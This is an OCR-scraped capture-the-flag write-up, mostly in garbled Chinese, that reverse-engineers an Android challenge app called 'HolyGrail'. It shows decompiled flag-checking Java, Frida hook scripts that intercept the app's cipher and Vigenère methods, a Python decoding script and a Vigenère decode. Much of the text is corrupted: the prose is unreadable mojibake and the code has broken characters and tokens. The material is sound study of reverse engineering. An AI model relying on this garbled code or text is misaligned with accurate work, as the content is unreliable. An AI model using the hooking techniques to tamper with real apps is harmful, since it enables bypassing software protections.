if (!isCorrectFormat(trim)) {
Toast.makeText{this, "wWrong flag format", @8).show()
return;
I
String substring = trim.substring(5, trim.length{) - 1)
String string = this.sharedPreferences.getString("cipherText" ""J];
String validateFlag = C0498a.validateFlag(this, substring);
if (validateFlag != null && validateFlag.equals(stringl]) {
if ("f05bafee306592bsfudided5964a3df38a2597230b8bT7a09597bcd2fb56cabee” .equalsIgnoreCase(sha256(substringll]) {
Toast.makeText(this, "Success", @).show()
return;
} else |
Toast.makeText(this, "Correctly matched but in the wrong order."”
return;

a8).show();

¥
I
Toast.makeText(this, "Wrong flag", @).show(]

FapkiziTHE—1RE, BMNEBEEFE—NM0F, BFESREXNFEER— 1 FRT S
AEEEZANRELTI BN lag, flag&dMBBR LEERNFRRHITLEXT
AELF RN G EERA St “Success”

BATERILN—TEXRH A, Bk EImainactivityE@Echeckbox®IiF, tEX A HNE
B EERIRA



Click on Jesus and his disciples in order ﬁ

How to sort the sequence? You can ask Sherlock Holmes, the most famous detective. His mind
palace is a huge library. Maybe this library contains the answer.

o 1

Thomas Philip
_H..L__..-_.__....._-.-__ —_— o e

'Hijl:ll:l

__' q- f ‘ t. y W) :
: = ?
: > | ﬂ'.lacof ﬁl.f‘e ' Jesus A Saint Simon.

RESTART

BENMERRIEXLEZ AT checkbox @M1, FcAfridaiRll—

(ASEEES

1 Java.perform(function () {
2 let CipherDataHandler =

Java.use("com.example.holygrail.CipherDataHandler");

3 CipherDataHandler ["getCipherText"].implementation = function (list) {
4 let result = this["getCipherText"](list);

5 console.log( CipherDataHandler.getCipherText result=${result} );
6 var size = list.size();

7 for (var i = 0; i < size; i++) {

8 var element = list.get(d);

9 console.log( Element ${i}: ${element.toString()} );

10 }

11 return result;

12 75

13

14  1);

ABEMERT. MEEIBMIRFRE



0:
1:
2:
3:
.
B
6:
7:
8:
9:

AREREERNINF, XEFRTER,

checkBox3
checkBox6
checkBox8
checkBox10
checkBox11
checkBox13
checkBox
checkBoxU
checkBox5
checkBox7
checkBox9

checkBox12
checkBox14d

RIEXEE R ELAFEIHE:

"checkBox8",
"checkBox6",
"checkBox7",
"checkBox3",
"checkBox12",
"checkBox3",
"checkBox10",
"checkBox13",
"checkBox11",
"checkBox",
"checkBox9",
"checkBox4",
"checkBox14"

IEFfHEE R Rfridaft AT USRIZE X (XEecheckboxfE A thlib/E B E o] LUK BIXS N AV F RF B,

— e l) , BXEHKEgetciphertexttliE, aTLUARfridagZHEX

public static String petCipherText(List<String> list) {
return generateCipherText((Stringl[]l) list.tehArraylnew

b

(GRS

function hook() {

Java.perform(function () {

"checkBox8",
"checkBox6",

"checkBox7",

~N oo b~ WN R

var args = Java.array("java.lang.String", [

Stringle@]ll);

var targetClass = Java.use("com.example.holygrail.CipherDataHandler");

BaH



"checkBox5",

"checkBox12",
10  "checkBox3",
11  "checkBox10",
12 "checkBox13",
13 "checkBox11",
14  "checkBox",
15 "checkBox9",
16  '"checkBox4",
17 "checkBox14"

18 1);

19 console. log(targetClass.generateCipherText(args));
20 )8

21 }s

22 setImmediate(hook);

Spawned “com.example.holygrail’ . Resuming main thread!

[PJD110: :com.example.holygrail ]-> 9°Ji9!QiS!aS!:!FJ:!i

REEXZEM AT LIEEMEZLIE, BlvalidateFlagik%k

[RX£vigenereEncrypt, B4 processW|thNatlveHE—}:—I-ﬁiE?ﬁ'J?é?U?%’%’r%
FEEprocessWithNative, EAMMAEAEE, AR, EREFTINE
NFEFTIE, AJURAZITENMNEZRIZNMFE, AILUBIHE— N EHTEIF RN N RAGEE
KRR
FfERfridafFHAITENFRIBNT R R, &2ka.bF5 ERYR[EME, HB¥TENprocessWithNativelyik[El{EED
a]
FIEBEAERERINT

(AWEEZS

1 function hook() {

2 Java.perform(function () {

3 let b = Java.use("com.example.holygrail.b");

4 b["a"].implementation = function (str){

5 console.log( ' b.a is called, str = ${str} );
6 }

71

8 1}

9 setImmediate(hook);

=
(©)



HolyGrail

P — —

There are thousands of roads in the world,
but only one leads to heaven.

SUBMIT

[PID116:

b.a is called, str = 3921

BARTLUANFRBRVRIHTENFFF, MiEHR—1KR (BITFEAEFHRIget)
ZEWIE, NTFWAFAIERFEMLE 217 , Fopxis

(AGEEZS

1 printable=r"0123456789%abcdefghijklmnopqgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ! #$%&
POx+, - /<> {3

2 get="39213A213B213C21402141214221432144214521464748494A4B4C50515253545556575859
5A5B5C60616263646550215121522153215421552156215721582159215A215B215C21303132333
435363738393A3B3C272129212A212B212C21302131213221332134213521362137213821462147
21482149214A214B214C2140414243444566676869"

3 data=[]

4 while get!="":

5 if get[2:4]=="21":

6 data.append(get[:4].lower())
7 get=get[4:]

8 else:

9 data.append(get[:2].lower())
10 get=get[2:]

11 def decrypt(enc):

12 encs = []

13 while enc!="":

14 if enc[2:4]=="21":

15 encs.append(enc[:4])

16 enc=enc[4:]

17 else:

18 encs.append(enc[:2])

19 enc=enc[2:]

20 enc = """



21 for i in encs:

22 enc += printable[data.index(i)]
23 print(enc)

24  decrypt(b"9°3Ji9!QiS!aS!:!FJ:!i".hex())
25

AlaEEBvigenereEncryptil®, XER—MIEEZE, BIAMERETER, vlllhooktik, Bf—T
FEBhookUEBFAAT LA (IREAE, BEAMIT)

(AGEEZS

1 function hook() {

2 Java.perform(function () {

3 let a = Java.use("com.example.holygrail.a");

4 a["vigenereEncrypt"].implementation = function (str , str2){

5 console.log( a.vigenereEncrypt is called, str = ${str}, str2 = ${str2} );
6 s

7

8 1);

9 1}

=
(O}

setImmediate(hook) ;

[PJD110: :com.example.holygrail ]-> a.vigenereEncrypt is called str2 = TheDaVinciCode

AL _EEpythonf# K F 7T R B RFERLA] L

Recipe ~ Al N Input
. Wue~@i~DvDlael~
Vigenére Decode -
Key
TheDaVinciCode
apc 15 = 1
Output

Dna~ef~Davincl~



